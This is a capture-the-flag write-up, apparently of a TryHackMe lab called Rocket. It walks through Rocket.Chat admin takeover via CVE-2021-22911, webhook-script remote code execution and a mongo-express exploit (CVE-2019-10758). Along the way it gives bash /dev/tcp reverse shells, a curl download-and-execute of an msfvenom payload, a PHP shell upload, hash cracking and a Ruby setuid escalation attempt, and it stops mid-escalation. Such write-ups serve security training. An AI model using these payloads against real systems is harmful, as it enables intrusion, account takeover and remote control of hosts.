Recon to foothold

Let’s begin with a scan, first massscan

rob:Rocket/ $ sudo masscan -p1-65535,U:1-65535 10.10.60.178 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-22 19:48:46 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.60.178                                    
Discovered open port 22/tcp on 10.10.60.178

And now nmap to probe for more details

rob:Rocket/ $ nmap -A -v -p22,80 -T3 10.10.60.178
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-22 20:53 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating Ping Scan at 20:53
Scanning 10.10.60.178 [2 ports]
Completed Ping Scan at 20:53, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 20:53
Scanning rocket.thm (10.10.60.178) [2 ports]
Discovered open port 80/tcp on 10.10.60.178
Discovered open port 22/tcp on 10.10.60.178
Completed Connect Scan at 20:53, 0.02s elapsed (2 total ports)
Initiating Service scan at 20:53
Scanning 2 services on rocket.thm (10.10.60.178)
Completed Service scan at 20:53, 6.03s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.60.178.
Initiating NSE at 20:53
Completed NSE at 20:53, 1.39s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.14s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Nmap scan report for rocket.thm (10.10.60.178)
Host is up (0.011s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b5:20:37:9f:99:b2:4f:23:ba:3a:43:60:b7:45:c8:62 (RSA)
|   256 12:77:83:03:1f:64:bb:40:5d:bf:2c:48:e2:5a:b5:18 (ECDSA)
|_  256 74:7c:e6:07:78:fc:fd:45:1d:e8:2b:d5:02:66:8e:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29
|_http-generator: Bolt
| http-methods: 
|_  Supported Methods: GET POST HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home | Rocket Entertainment
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Initiating NSE at 20:53
Completed NSE at 20:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

Our scan reveals that the website is created by BoltCMS. This has definitely had vulnerabilities in the past so that is worth checking

Let’s have a look at the website then. Firstly we can see that requesting the IP address immediately gives us a redirect to rocket.thm, so we’ll add that to our /etc/hosts file

We can pick up some potential usernames

Giving us kevin, lucy, laurent & marcus, just in case we find something like a password

Some manual enumeration finds a link to /api/docs

Before we forget, we can pick up the version of Bolt in use, version 4.1.20

Interestingly here we are logged in as an ‘Unknown user’ which allows us to execute some of the api calls

Enumerating the output of the GET:CONTENTS api call we find an odd link http://rocket.off/page/why-choose-rocket-entertainment. If we try to correct that to .thm we get a new page, some legacy orphaned code maybe? we get the page linked from literally the first block of the homepage!

Let’s come back to the API if we need to but for now we can carry on

Hunting for subdomains finds us something interesting

rob:~/ $ ffuf -u http://rocket.thm/ -H "Host: FUZZ.rocket.thm" -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt  -fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://rocket.thm/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
 :: Header           : Host: FUZZ.rocket.thm
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 20
________________________________________________

chat                    [Status: 200, Size: 224515, Words: 12566, Lines: 490, Duration: 2432ms]
:: Progress: [484699/484699] :: Job [1/1] :: 1093 req/sec :: Duration: [0:06:18] :: Errors: 0 ::

Ok, let’s check that out then

We find an option to register a new account, let’s give it a go with allfun@rocket.thm

We can, and very shortly after connecting to the server we get a notification ‘ding,dong’ and we find Laurent and Terrance in general chat

Googling for vulnerabilities in Rocket Chat we find a few potential candidates at cve.mitre.org

We get a link to a hackerone report for CVE-2021-22911. Reading through it makes it seem like a viable possibility if we can figure out who the admin is, and their email address. The exploit source code is removed from this report though so let’s see if we can find it elsewhere

We find a couple of candidates

  • Firstly at the ever-reliable exploit-db
  • Another option found by google-dorking github

On a quick glance these look mostly the same, we’ll try following the second one simply because the explanation is nice and clear

Usage

  • You will need a low priv user’s email who has no 2fa setup. ( -u )
  • You will also need to know administrator email. Not a problem if admin is protected with 2fa. ( -a )
python3 exploit.py -u "user@rocket.local" -a "admin@rocket.local" -t "http://rocket.local"

That all seems doable, let’s grab the exploit code and try it out

rob:CVE-2021-22911/ (main) $ python3 exploit.py -u "allfun@rocket.thm" -a "admin@rocket.thm" -t "http://chat.rocket.thm"
[+] Resetting allfun@rocket.thm password
[+] Password Reset Email Sent
Got: K
Got: Kr
Got: Kr4
Got: Kr48
--snip--
Got: Kr48WH7OF6sn56qrFAiBL12riFQoEGltyqE_q6bQBO
Got: Kr48WH7OF6sn56qrFAiBL12riFQoEGltyqE_q6bQBOX
[+] Got token : Kr48WH7OF6sn56qrFAiBL12riFQoEGltyqE_q6bQBOX
[+] Password was changed !
[-] Couldn't authenticate

Hmmmm, well that’s not good! Let’s try it again

--snip--
[+] Got token : Q2Gq1Ojciq180rMgLhgLgp3Jmh4uHHHxgTDWj-R5w8p
[-] Wrong token

Did we bork something by trying the exploit? (edit) NB, the first attempt did change the password for the user allfun, not sure why it couldn’t authenticate (edit 2) pretty sure it was because I hadn’t used the right email address

After a box reset (because I wasn’t looking at the timer!) we try it again and it goes a little better!

rob:CVE-2021-22911/ (main) $ python3 exploit.py -u "allfun@rocket.thm" -a "admin@rocket.thm" -t "http://chat.rocket.thm"
[+] Resetting allfun@rocket.thm password
[+] Password Reset Email Sent
Got: w
Got: w1
Got: w1N
--snip--
Got: w1Nj0ZgXqgZ40NRQVzKfdBiwuwRNt8oRcaoJF5C8rv9
[+] Got token : w1Nj0ZgXqgZ40NRQVzKfdBiwuwRNt8oRcaoJF5C8rv9
[+] Password was changed !
[+] Succesfully authenticated as allfun@rocket.thm
Got the code for 2fa: ices.totp is undefined :\n@:1:56\n@:1:49\n"}
[+] Resetting admin@rocket.thm password
[+] Password Reset Email Sent
Got: D
...

Ok, so it changes the user password first, then from there it gets a 2FA code somehow and restarts the reset process, except this time for the admin account. A little bit of waiting and we get

[+] Resetting admin@rocket.thm password
[+] Password Reset Email Sent
Got: D
Got: Dn
--snip--
Got: DnFWgDHJ1WY34g3FoZtfao_-T6i-N-cfXyjrnK6Pst
Got: DnFWgDHJ1WY34g3FoZtfao_-T6i-N-cfXyjrnK6Psti
[+] Got token : DnFWgDHJ1WY34g3FoZtfao_-T6i-N-cfXyjrnK6Psti
Traceback (most recent call last):
  File "/home/rob/Documents/TryHackMe/Rocket/CVE-2021-22911/exploit.py", line 155, in <module>
    code = oathtool.generate_otp(secret)
  File "/home/rob/.local/lib/python3.9/site-packages/oathtool/__init__.py", line 59, in generate_otp
    key = base64.b32decode(pad(clean(key)), casefold=True)
  File "/usr/lib/python3.9/base64.py", line 231, in b32decode
    raise binascii.Error('Non-base32 digit found') from None
binascii.Error: Non-base32 digit found

Ahhh, that was looking good… so close!

It’s not an error with the script it seems, it looks like the weird looking Got token : ... line is killing the progress. Interestingly the internet can find no mention of ices.totp

>>> import oathtool
>>> oathtool.generate_otp("ices.totp is undefined :\n@:1:56\n@:1:49\n\"")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/rob/.local/lib/python3.9/site-packages/oathtool/__init__.py", line 59, in generate_otp
    key = base64.b32decode(pad(clean(key)), casefold=True)
  File "/usr/lib/python3.9/base64.py", line 231, in b32decode
    raise binascii.Error('Non-base32 digit found') from None
binascii.Error: Non-base32 digit found

And a little experimentation shows that it’s the non-alphabetic symbol characters that cause this, the question now is where the error might be coming from, is it a different version of oathtool or something odd in the setup of the node? Or… could it just be that there is no 2FA for the admin and by including it we introduce an error?

Our exploit has a case for this

NOTE: If you don’t want Administrator protected with 2FA you can do the following.

  1. Send forget password mail
  2. Get resettoken for admin
  3. Change the password using the reset token retrieved

Admin Account Takover [ No 2fa ]

forgotpassword(adminmail,target) token = resettoken(target) changingpassword(target,token)

Let’s try to edit the script (used the new version in the repo as a base as the technique is faster ) then and try once more

rob:CVE-2021-22911/ (main✗) $ python3 new_exploit-no2fa.py -u "allfun@rocket.thm" -a "admin@rocket.thm" -t "http://chat.rocket.thm"
[+] Resetting allfun@rocket.thm password
[+] Password Reset Email Sent
Got: E
Got: Ew
--snip--
Got: EwXmrU-ZINdL0z5gcPF50EdK-Br6JKXS0ue7RQN7PEh
[+] Got token : EwXmrU-ZINdL0z5gcPF50EdK-Br6JKXS0ue7RQN7PEh
[+] Password was changed !
[+] Succesfully authenticated as allfun@rocket.thm
Got the code for 2fa: ices.totp is undefined :\n@:1:56\n@:1:49\n"}
[+] Resetting admin@rocket.thm password
[+] Password Reset Email Sent
[+] Succesfully authenticated as allfun@rocket.thm
Got the reset token: HSPoWmtg8_bKSPNtT-g1xNRihxQcYjQjBI1H7Od_IED
[+] Admin password changed !

Excellent, if this really has worked then the admin password should now be P@$$w0rd!1234

And it is! We’re in as the administrator and we have an admin menu option

We also find a message from the admin to laurent

The admin link leads us to a busy dashboard kind of thing

As a test we can add an Integration, following the steps outlined in the exploit documentation

  • Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered.

  • We create a integration with the following script : > > const require = console.log.constructor('return process.mainModule.require')(); > const { exec } = require('child_process'); > exec('command here'); >

  • Next we just trigger the webhook to get rce :)

For any fields that we struggle with we can just refer to the exploit source code again and extract them from the payload of the rce function

payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'

Now we request the webhook url

But we get an error it seems

Luckily there are logs which give us a bit of a clue

It seems to want a class Script so we head to the Rocket.Chat documentation to see can we find an example syntax

Ok then, we wrap our script in class Script { } and try again

Excellent, we have a positive result. However we do not have any command output

What our script still doesn’t have is a process_incoming_request like the example and returning to the documentation we can find the following

The class has a method called process_incoming_request, your server calls this method every time is receives a new request. It is called with an Object as a parameter with the requestproperty.

The process_incoming_requestmethod returns an object with a contentproperty that contains valid Rocket.Chat message, or an object with an error property that returns as the response to the request in JSON format and Code 400 status.

Let’s try adding this to our script as well then… but still not a useful response. Maybe let’s try a blind command option, we’ll try a curl, and see if we get a response. We try this script

class Script {

    process_incoming_request({ request }) {
        const require = console.log.constructor('return process.mainModule.require')();
        const { exec } = require('child_process');
        exec('curl http://10.14.6.26:9090/testing');
        console.log(request.content);
        return {
            content: {
                text: request.content.text
            }
        };
    }
}

But try as we might we can’t get a response!

We go back to the original script and try doing this via the API rather than in the admin GUI, changing the payload to a bash reverse shell

payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rocket-rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\'''"class Script {\\n\\n  process_incoming_request({ request }) {\\n\\n\\tconst require = console.log.constructor(\'return process.mainModule.require\')();\\n\\tconst { exec } = require(\'child_process\');\\n\\texec(\'bash -c \\\"bash -i >& /dev/tcp/' + str(my_ip) + '/' + str(port) + ' 0>&1\\\"\');\\n\\n\\n    return {\\n      error: {\\n        success: true,\\n        message: \\\"Mission Accomplished!\\\"\\n      }\\n    };\\n  }\\n}",'\');","type":"webhook-incoming"}'
	cookies = {'rc_uid': userid,'rc_token': token}
	headers = {'X-User-Id': userid,'X-Auth-Token': token}

A couple of other difference with this attempt

  • we switched the port to 443 in case the target was filtering non-“normal” ports out
  • based on a detail in the documention that says The script should be in **ES2015 / ECMAScript 6** we include the indenting formatting (just in case). This all needs to be escaped
rob:CVE-2021-22911/ (main✗) $ nc -lnvp 443 
listening on [any] 443 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.5.30] 60800
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
rocketchat@c2c82695ecf1:/app/bundle/programs/server$ 

And we pop a shell!

With a quick check we can see that we are user rocketchat and in a docker container

rocketchat@c2c82695ecf1:/proc$ ls -la
total 4
dr-xr-xr-x 126 root       root          0 Jul 27 09:41 .
drwxr-xr-x   1 root       root       4096 Jun 14 19:11 ..
dr-xr-xr-x   9 rocketchat rocketchat    0 Jul 27 09:41 1
dr-xr-xr-x   9 rocketchat rocketchat    0 Jul 27 11:05 34
dr-xr-xr-x   9 rocketchat rocketchat    0 Jul 27 11:05 35
dr-xr-xr-x   9 rocketchat rocketchat    0 Jul 27 11:05 36
dr-xr-xr-x   9 rocketchat rocketchat    0 Jul 27 11:05 41
--snip--

Evidence for being stuck in a container

  • A grand total of 5 processes in /proc and process 1 is owned by our user
  • The hostname for the server has the format and appearance of a container ID
  • Almost no useful commands are installed!

Container #1, user rocketchat

Let’s explore this application first, we can assume there must be a database or other storage for users and their details, perhaps we can find some reusable creds

No, wait, after ^C killing my shell a couple of times, first we stabilize our shell. Let’s try using socat, we don’t use it enough. First we want to transfer it to the box, but we don’t have wget or curl or nc or…

On our old friend book.hacktricks.xyz we find a method that should work

After Base64 encoding our binary we run nc on our attack box

rob:Rocket/ $ nc -w5 -lnvp 80 < socat_b64  
listening on [any] 80 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.5.30] 34300

And then connect (quickly to avoid timeouts) from our target

rocketchat@c2c82695ecf1:~$ exec 6< /dev/tcp/10.14.6.26/80
rocketchat@c2c82695ecf1:~$ cat <&6 > socat.txt
rocketchat@c2c82695ecf1:~$ ls -la socat.txt
-rw-r--r-- 1 rocketchat rocketchat 506819 Jul 27 12:12 socat.txt

Now we decode it

rocketchat@c2c82695ecf1:~$ cat socat.txt | base64 -d > socat
rocketchat@c2c82695ecf1:~$ chmod +x socat
rocketchat@c2c82695ecf1:~$ ./socat -V
socat by Gerhard Rieger - see www.dest-unreach.org
socat version 1.7.3.0 on Jun 16 2015 21:24:31
   running on Linux version #148-Ubuntu SMP Sat May 8 02:33:43 UTC 2021, release 4.15.0-144-generic, machine x86_64
features:
  #define WITH_STDIO 1
  #define WITH_FDNUM 1
--snip--

Ok, we have a working binary, now let’s create a new reverse shell, this one will be a proper tty

On our attackbox we start socat as a listener

rob:Rocket/ $ socat file:`tty`,raw,echo=0 tcp-listen:1234

And on our target we make the connection

rocketchat@c2c82695ecf1:~$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.14.6.26:1234', pty,stderr,setsid,sigint,sane tcp:10.14.6.26:1234


Back at the attackbox we have a new shell pop, and we can’t easily kill this one

rocketchat@c2c82695ecf1:~$ ^C
rocketchat@c2c82695ecf1:~$ 

Now we can explore in relative safety

Looking at the running processes that are listening on ports we find an SSH server bound to the internal address

rob:CVE-2021-22911/ (main✗) $ ss -tulpn | grep -i LISTEN
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*          
tcp   LISTEN 0      128             [::]:22            [::]:* 

Looking for defined environment variable we find something interesting

rocketchat@c2c82695ecf1:~$ env
--snip--
DB_PORT_27017_TCP=tcp://172.17.0.2:27017
--snip--
MONGO_WEB_INTERFACE=172.17.0.4:8081
--snip--
MONGO_URL=mongodb://db:27017/meteor

We’ve found the database (there’s a lot more in that env result but this is enough to continue), an instance of MongoDB running on what could be another container. A quick check of our IP address using hostname as ip is not installed so this is either another container or the host

rocketchat@c2c82695ecf1:~$ hostname -I
hostname -I
172.17.0.3 

We know we have nothing that can connect to this from our container, so let’s set up some portforwarding and use our attackbox to connect to the database, we’ll use ligolo for this

attackbox:  ./localrelay -certfile certs/cert.pem -keyfile certs/key.pem
target:     ./ligolo -relayserver 10.14.6.26:5555

The default proxyport on our side is port 1080 so we set our proxy to that and request the mongo address, 172.17.0.4:8081

And we run into a basis authentication prompt. Let’s forward this through Burpsuite to see the traffic in detail in case there are headers etc. that might give us a close. We can do this by setting a SOCKS proxy on the ‘User Options’ tab

So now we have the browser set to proxy to Burpsuite and Burpsuite relays all the traffic to our tunnel

In the raw data we do find something interesting, an X-Powered-By header

A little googling for ‘mongo express’ finds us a github project of a web-base admin interface written with Node.js, Express & Bootstrap3

Google again comes to the rescue with some default creds for mongo-express, admin:pass, let’s give it a try

In the users database we can find bcrypt hashes for all the chat users, we might have password reuse but bcrypt can take a long time to crack. Let’s grab them anyway

username password hash
laurent $2b$10$oEIGZ7bp27kXCk8CzRg3MOh6BR1pR7XHy2q6Gw4hWgnxF8L3a55HS
admin $2b$10$b83M.miBhGOqrqFcof7Fqeb6qvP5EsDnO6Hcc7iboNmP3.ZQL4K6q
terrance $2b$10$lLhvb5M5ZK4ivRRxHTGTxOU1aNA4pXqxbc/4aic.IWpiwIpcJiCai

After making our GPU VERY hot trying to crack these without success we remember that private message from the admin to Terrance

I’ve recently upgraded the authentication mechanism for this portal and made a full database backup just in case we need to revert

So are we trying to crack new passwords? Would some of the old ones be reusable? Seems like we need to find a way to get to the filesystem. The Mongo-Express GUI doesn’t seem to give many opportunities, but let’s have a look and see if there are any vulnerabilities for it. We’ll start on cve.mitre.org

And there is a good candidate, an RCE from 2019, CVE-2019-10758, rated with a CVSS score of 10.0 by snyk.io

The snyk.io link very kindly links to an exploit

That exploit has a handy curl version so we setup proxychains.conf in our working directory and create an entry with socks5 localhost 1080 which will get us into our tunnel. To get a template to edit for proxychains.conf simply execute

cp /etc/proxychains4.conf ./proxychains.conf

This means you don’t have to edit /etc/proxychains4.conf every time and you can keep the appropriate config with your project files

Now we can execute our exploit

rob:Rocket/ $ proxychains curl "http://172.17.0.4:8081/checkValid" -H "Authorization: Basic YWRtaW46cGFzcw=="  --data "document=this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\'bash -c \"bash -i >& /dev/tcp/10.14.6.26/4321 0>&1\"\')"

[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Invalid%  

Goodness, we’re not making any bit of this easy for ourselves!

We try separating the command from the wrapper to avoid some of the potentially clashing "s & 's

rob:Rocket/ $ CMD='bash -c "bash -i >& /dev/tcp/10.14.6.26/4321 0>&1"' && proxychains curl "http://172.17.0.4:8081/checkValid" -H "Authorization: Basic YWRtaW46cGFzcw=="  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync($CMD)'

[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Invalid%   

But that doesn’t help either. Going back to the drawing board we check if we can even execute a command blindly, sending a curl command to the target

rob:Rocket/ $ proxychains curl 'http://172.17.0.4:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl 10.14.6.26:9090/test")'   

[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Valid%  

That looks much better! And over at our webserver we see the request

rob:Rocket/ $ updog
[+] Serving /home/rob/Documents/TryHackMe/Rocket...
 * Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)
10.10.14.97 - - [27/Jul/2021 17:56:16] "GET /test HTTP/1.1" 302 -

Ok then, can we use this method to pull a reverse shell to the box? First let’s make a shell

rob:Rocket/ $ msfvenom --payload linux/x64/shell_reverse_tcp --format elf LHOST=10.14.6.26 LPORT=4321 -o revshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: revshell

And now let’s pull it to the target and execute it

rob:Rocket/ $ proxychains curl 'http://172.17.0.4:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl 10.14.6.26:9090/revshell -o /tmp/revshell;chmod 777 /tmp/revshell; /tmp/revshell")'

[proxychains] config file found: /home/rob/Documents/TryHackMe/Rocket/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

And we pop a shell! It’s another container as suspected

rob:Rocket/ $ nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.14.97] 60042
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Container #2, user root to container host

Can we find a backup then?

find / -name *backup*
/backup
/backup/db_backup

Good, it seems we can, let’s check it out

cd /backup/db_backup/meteor
cat user.bson	
cat: can't open 'user.bson': No such file or directory
cat users.bson
�_id46vy7oaRzH52QZRmj	createdAt���'yservices]passwordNbcrypt=$2y$04$yksXrgLvjGKed2u0zc1Ol.XNqFIlzlxS04RkaSsMqPJiP4d/Fz3rWuser--snip--

That’s quite long and quite messy, we can extract the passwords to a table though

username backup password hash
laurent $2y$04$yksXrgLvjGKed2u0zc1Ol.XNqFIlzlxS04RkaSsMqPJiP4d/Fz3rW
admin $2y$04$v53RbDrVzzPSyUsmDjrftONXARoN1OzTfx2aMG94XOPh3cBBvuC/G
terrance $2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrFp0yLA5DHi

Now, let’s see if any of these might crack

PS E:\Tools\hashcat-5.1.0> .\hashcat64.exe -m 3200 hash.txt .\rockyou.txt
hashcat (v5.1.0) starting...

OpenCL Platform #1: Advanced Micro Devices, Inc.
================================================
* Device #1: Ellesmere, 4048/8192 MB allocatable, 36MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Watchdog: Temperature abort trigger set to 90c

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344387
* Bytes.....: 139921525
* Keyspace..: 14344387

$2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrFp0yLA5DHi:1q2w3e4r5

Session..........: hashcat
Status...........: Cracked
Hash.Type........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2y$04$cPMSyJolnn5/p0X.B3DMIevZ9M.qiraQw.wY9rgf4DrF...LA5DHi
Time.Started.....: Tue Jul 27 18:32:18 2021 (3 secs)
Time.Estimated...: Tue Jul 27 18:32:21 2021 (0 secs)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    13692 H/s (8.67ms) @ Accel:8 Loops:1 Thr:8 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 41472/14344387 (0.29%)
Rejected.........: 0/41472 (0.00%)
Restore.Point....: 39168/14344387 (0.27%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:15-16
Candidates.#1....: luis17 -> 180893
Hardware.Mon.#1..: Util:  3% Core:1363MHz Mem:2000MHz Bus:16

Started: Tue Jul 27 18:32:15 2021
Stopped: Tue Jul 27 18:32:22 2021

Excellent, admin was a non-starter, however terrance cracked and gave us the password 1q2w3e4r5

We check this in all the places we can login and although we don’t get a hit with terrance, we do with user admin. They must have a personal and a management account on the system

And this is confirmed when the admin account welcomes us with ‘Hey Terrance’

Under ‘File Management’ we find an upload function

A quick test shows us that we can reach these files from the web server as http://rocket.thm/files/kitten.jpg displays the image for us. Can we then upload something that can give us a shell? The goto here is pentestmonkey’s PHP reverse shell, but that won’t upload for us

That was probably a bit silly, this server is running node.js after all. Worth a try though 😄 … Actuially maybe not so silly, the docs state that we can run Bolt on php (handy for development)

To see what options we have for smuggling in a sneaky shell we google for allowed file types, which leads us here. It seems there is a configuration option for this!

Let’s see if we can add php to that list then. To be safe let’s add it to accept_media_types too!

And see if we can upload our reverse shell file now

Ok, it made it up there, the last step is to see if we can run it. After starting a listener we request the file

rob:Rocket/ $ curl http://rocket.thm/files/revshell.php

And over on the listener we’ve popped another shell

rob:Rocket/ $ nc -lvnp 5678
listening on [any] 5678 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.14.97] 37884
Linux rocket 4.15.0-144-generic #148-Ubuntu SMP Sat May 8 02:33:43 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 18:02:35 up  4:15,  0 users,  load average: 0.06, 0.09, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(alvin) gid=1000(alvin) groups=1000(alvin)
/bin/sh: 0: can't access tty; job control turned off
$ hostname
rocket

Finally it seems we might be on the host server, connected as user alvin

In alvins home directory we find the user flag

$ cat user.txt
THM{REDACTED}

Privesc to root

We get an odd response when we try to enumerate sudo

$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin

Checking for running services shows us another webserver bound to the loopback address, this one on port 8080

$ ss -tulnp | grep -i listen
tcp   LISTEN  0        128                127.0.0.1:8080          0.0.0.0:*     
tcp   LISTEN  0        128                127.0.0.1:8081          0.0.0.0:*     
tcp   LISTEN  0        128            127.0.0.53%lo:53            0.0.0.0:*     
tcp   LISTEN  0        128                  0.0.0.0:22            0.0.0.0:*     
tcp   LISTEN  0        128                        *:80                  *:*     
tcp   LISTEN  0        128                     [::]:22               [::]:* 

This is probably the BoltCMS application running in another container and being forwarded out to port 80

alvin@rocket:/$ curl localhost:8080 | grep -i title 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<title>Rocket Entertainment</title><meta name="application-name" content="Rocket Entertainment"><meta name="apple-mobile-web-app-title" content="Rocket Entertainment">
100  219k    0  219k    0     0  11.8M      0 --:--:-- --:--:-- --:--:-- 11.8M

And a quick check shows us that it is

As we check for file capabilities we find something that looks good

alvin@rocket:/$ getcap -r / 2>/dev/null
/usr/bin/ruby2.5 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep

Ruby with capabilities means that we should be able to use a gtfobins exploit to get a root shell

alvin@rocket:/$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/bash"'
Traceback (most recent call last):
	1: from -e:1:in `<main>'
-e:1:in `setuid': Operation not permitted (Errno::EPERM)

Ahhhh, something else is getting in our way it seems

On the off chance that it has something to do with the occasional messages we recieve about out terminal not being fully functional, let’s add our SSH key to alvin’s list of authorized users

alvin@rocket:/$ mkdir -p /home/alvin/.ssh
alvin@rocket:/$ chmod 700 /home/alvin/.ssh
alvin@rocket:/$ cd /home/alvin/.ssh
alvin@rocket:/home/alvin/.ssh/$ vi authorized_keys
alvin@rocket:/home/alvin/.ssh/$ chmod 644 authorized_keys

And now we can login as Alvin properly

rob:~/ $ ssh alvin@rocket.thm     
Enter passphrase for key '/home/rob/.ssh/id_rsa': 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-144-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jul 27 19:30:13 UTC 2021

  System load:  0.01              Processes:              130
  Usage of /:   80.8% of 8.79GB   Users logged in:        0
  Memory usage: 60%               IP address for eth0:    10.10.14.97
  Swap usage:   0%                IP address for docker0: 172.17.0.1


118 packages can be updated.
1 update is a security update.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

alvin@rocket:~$ id
uid=1000(alvin) gid=1000(alvin) groups=1000(alvin)
 

A quick check of sudo shows it’s working as expected again

alvin@rocket:~$ sudo -l
[sudo] password for alvin: 
Sorry, try again.
[sudo] password for alvin: 
sudo: 1 incorrect password attempt

Let’s give the ruby exploit another try too

alvin@rocket:~$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/bash"'
Traceback (most recent call last):
	1: from -e:1:in `<main>'
-e:1:in `exec': Permission denied - /bin/bash (Errno::EACCES)

This is a very different error, it doesn’t seem to be complaining about our permissions to setuid anymore, rather it doesn’t like us using /bin/bash it seems!

We can do a little checking on the file with getfacl

alvin@rocket:~$ getfacl /bin/bash
getfacl: Removing leading '/' from absolute path names
